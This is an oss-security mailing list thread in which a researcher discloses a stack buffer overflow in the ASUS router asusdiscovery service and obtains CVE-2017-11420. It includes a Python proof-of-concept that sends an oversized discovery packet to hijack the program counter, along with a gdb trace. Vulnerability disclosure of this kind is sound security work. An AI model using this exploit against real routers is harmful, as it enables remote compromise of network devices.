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Message-ID: <7ca6da86-2ace-7d71-d177-6d36123ddb2e@gmail.com>
Date: Tue, 18 Jul 2017 13:58:04 +0800
From: varsleak <varsleak@...il.com>
To: Zach W <kestrel@...linux.us>, oss-security@...ts.openwall.com
Subject: Re: CVE-IDs request for ASUS wiress router Remote
Command/Code Execution Vulnerability
Use CVE-2017-11420.
On 07/14/2017 10:51, varsleak wrote:
> They are of course different, CVE-2017-6548 vulnerability code is
> located in the networkmap service routine, and I found the vulnerability
> in the asusdiscorvery service program.
>
> 在 2017年07月14日 02:39, Zach W 写道:
>> How is this different from CVE-2017-6548?
>>
>> Zach W.
>>
>>
>> On 7/12/17 7:57 PM, varsleak wrote:
>>> Hello, I review the source of asuswrt-merlin and found a Remote
>>> Command/Code Execution, the detail as follows:
>>>
>>>
>>> 1. Vulnerability Details
>>> Affected Vendor:RT-AC5300,RT_AC1900P,RT-AC68U,RT-AC68P,RT-AC88U,
>>> RT-AC66U,RT-AC66U_B1,RT-AC58U,RT-AC56U,RT-AC55U,RT-AC52U,RT-AC51U,
>>> RT-N18U,RT-N66U,RT-N56U,RT-AC3200,RT-AC3100,RT_AC1200GU,
>>> RT_AC1200G,RT-AC1200,RT-AC53,RT-N12HP,RT-N12HP_B1,RT-N12D1,
>>> RT-N12+,RT_N12+_PRO,RT-N16,RT-N300
>>> and Asuswrt-Merlin(https://github.com/RMerl/asuswrt-merlin)
>>> Affected Product: ASUS Wiress Router
>>> Affected Version: all the latest firmware
>>> Platform: router
>>> Impact: Remote Command/Code Execution
>>> Attack vector: asusdiscorvery service
>>>
>>> 2. Vulnerability Description
>>> When an ASUS router discovers another router device,
>>> it does not buffer the size of all discovered devices
>>> when it is added to the device list to cause a stack overflow,
>>> resulting in a remote code/command execution vulnerability.
>>> The vulnerability code is as follows:
>>>
>>> https://github.com/RMerl/asuswrt-merlin/blob/master/release/src/router/networkmap/ASUS_Discovery.c#L184-L202
>>>
>>> 3. PoC:
>>> <<<EOF
>>> # coding=utf-8
>>>
>>> import time
>>> import socket
>>> import sys
>>> import os
>>> import threading
>>> import struct
>>> import random
>>> import time
>>> ''' Please run PoC first, and it must run on windows '''
>>> class ASUSDiscoveryBufferOverflow:
>>> """ set remote host and remote port to use exp """
>>> def __init__(self, RHOST, RPORT, LHOST):
>>> self.RHOST = RHOST
>>> self.RPORT = RPORT
>>> self.LHOST = LHOST
>>>
>>> def exploit(self):
>>> """ execute exploit """
>>> self.searchDevice()
>>> self.sentShellCode()
>>>
>>> def searchDevice(self, socket_prot = socket.IPPROTO_UDP):
>>> """ search ASUS Discovery packet """
>>> print(" [-] try to search ASUS Discovery packet")
>>> while(True):
>>> sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_prot)
>>> sniffer.bind((self.LHOST, 0))
>>> sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
>>> if os.name == 'nt':
>>> sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
>>>
>>> pkt, hosts = sniffer.recvfrom(65565)
>>>
>>> if self.RHOST == hosts[0] and '\x11' == pkt[9]:
>>> if (pkt[28] == '\x0C' and
>>> pkt[29] == '\x15' and
>>> pkt[30] == '\x1F' ):
>>> print(" [+] bingo!")
>>> break
>>>
>>> def sentShellCode(self):
>>> s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
>>>
>>> for i in range(15):
>>> s.sendto(self.makeShellCode(), (self.RHOST, self.RPORT))
>>> print(" [-] sent %d cycle" % (i + 1))
>>> time.sleep(0.2)
>>>
>>> def generatingRandomMacAddr(self):
>>> tmp1 = random.randint(0, 0xff)
>>> tmp2 = random.randint(0, 0xff)
>>> tmp3 = random.randint(0, 0xff)
>>> tmp4 = random.randint(0, 0xff)
>>> tmp5 = random.randint(0, 0xff)
>>> tmp6 = random.randint(0, 0xff)
>>> return struct.pack('6B', \
>>> tmp1, tmp2, tmp3, tmp4, tmp5, tmp6)
>>>
>>> def makeShellCode(self):
>>> shellcode = "\x0c\x16\x1f\x00" # HEADER [ PLEASE NOT MODIFY ]
>>> shellcode += (128 * b'A') # PKT_GET_INFO.PrinterInfo
>>> shellcode += (32 * b'A') # PKT_GET_INFO.SSID
>>> shellcode += (32 * b'A') # PKT_GET_INFO.NetMask
>>> shellcode += (32 * b'A') # PKT_GET_INFO.ProductID
>>> shellcode += (16 * b'A') # PKT_GET_INFO.FirmwareVersion
>>> shellcode += b'A' # PKT_GET_INFO.OperationMode
>>> shellcode += self.generatingRandomMacAddr() # PKT_GET_INFO.MacAddress
>>> shellcode += (261 * b'A') #
>>>
>>> return shellcode
>>>
>>> def main():
>>> poc = ASUSDiscoveryBufferOverflow('192.168.2.1', 9999, '127.0.0.1')
>>>
>>> print("[+] Try to use exploit ...")
>>>
>>> poc.exploit()
>>>
>>> print("[+] use exploit sucessful.")
>>>
>>> if __name__ == '__main__':
>>> main()
>>> EOF;
>>>
>>> 4. gdb trace
>>> admin@...N12HP_B1:/tmp/bin# gdb /usr/sbin/asusdiscovery
>>>
>>> GNU gdb 6.8
>>> Copyright (C) 2008 Free Software Foundation, Inc.
>>> License GPLv3+: GNU GPL version 3 or later
>>> <http://gnu.org/licenses/gpl.html>
>>> This is free software: you are free to change and redistribute it.
>>> There is NO WARRANTY, to the extent permitted by law. Type "show copying"
>>> and "show warranty" for details.
>>> This GDB was configured as "mipsel-linux"...
>>> I'm sorry, Dave, I can't do that. Symbol format `elf32-tradlittlemips'
>>> unknown.
>>> (gdb) r
>>> Starting program: /usr/sbin/asusdiscovery
>>>
>>> Program received signal SIGSEGV, Segmentation fault.
>>> 0x41414141 in ?? ()
>>> (gdb) info r
>>> zero at v0 v1 a0 a1 a2
>>> a3
>>> R0 00000000 00000000 303e3134 00423a80 7fd650e8 00000001 00001000
>>> 00423a80
>>> t0 t1 t2 t3 t4 t5 t6
>>> t7
>>> R8 00423000 00423000 00000581 3a31343a 41414141 2ab89124 41414141
>>> 2ab0fe10
>>> s0 s1 s2 s3 s4 s5 s6
>>> s7
>>> R16 41414141 41414141 41414141 41414141 41414141 41414141 41414141
>>> 41413e41
>>> t8 t9 k0 k1 gp sp s8
>>> ra
>>> R24 00000014 2ab6ad70 7fd65f66 00000000 0041c050 7fd65d30 41414141
>>> 41414141
>>> status lo hi badvaddr cause pc
>>> 01009c13 0000035d 00000070 41414140 00000008 41414141
>>> fcsr fir restart
>>> 00000000 00000000 00000000
>>>
>>> As we have seen, the registers s0-s8,t4,t6,ra and pc are overwritten by
>>> 0x41.
>>>
>>> Finally, with the ROP can lead to Remote Command Execution.
>>>
>>> 5. Discover
>>> varsleak of Sichuan Silent Information Technology Co., Ltd
>>> company website: http://www.silence.com.cn/
>>
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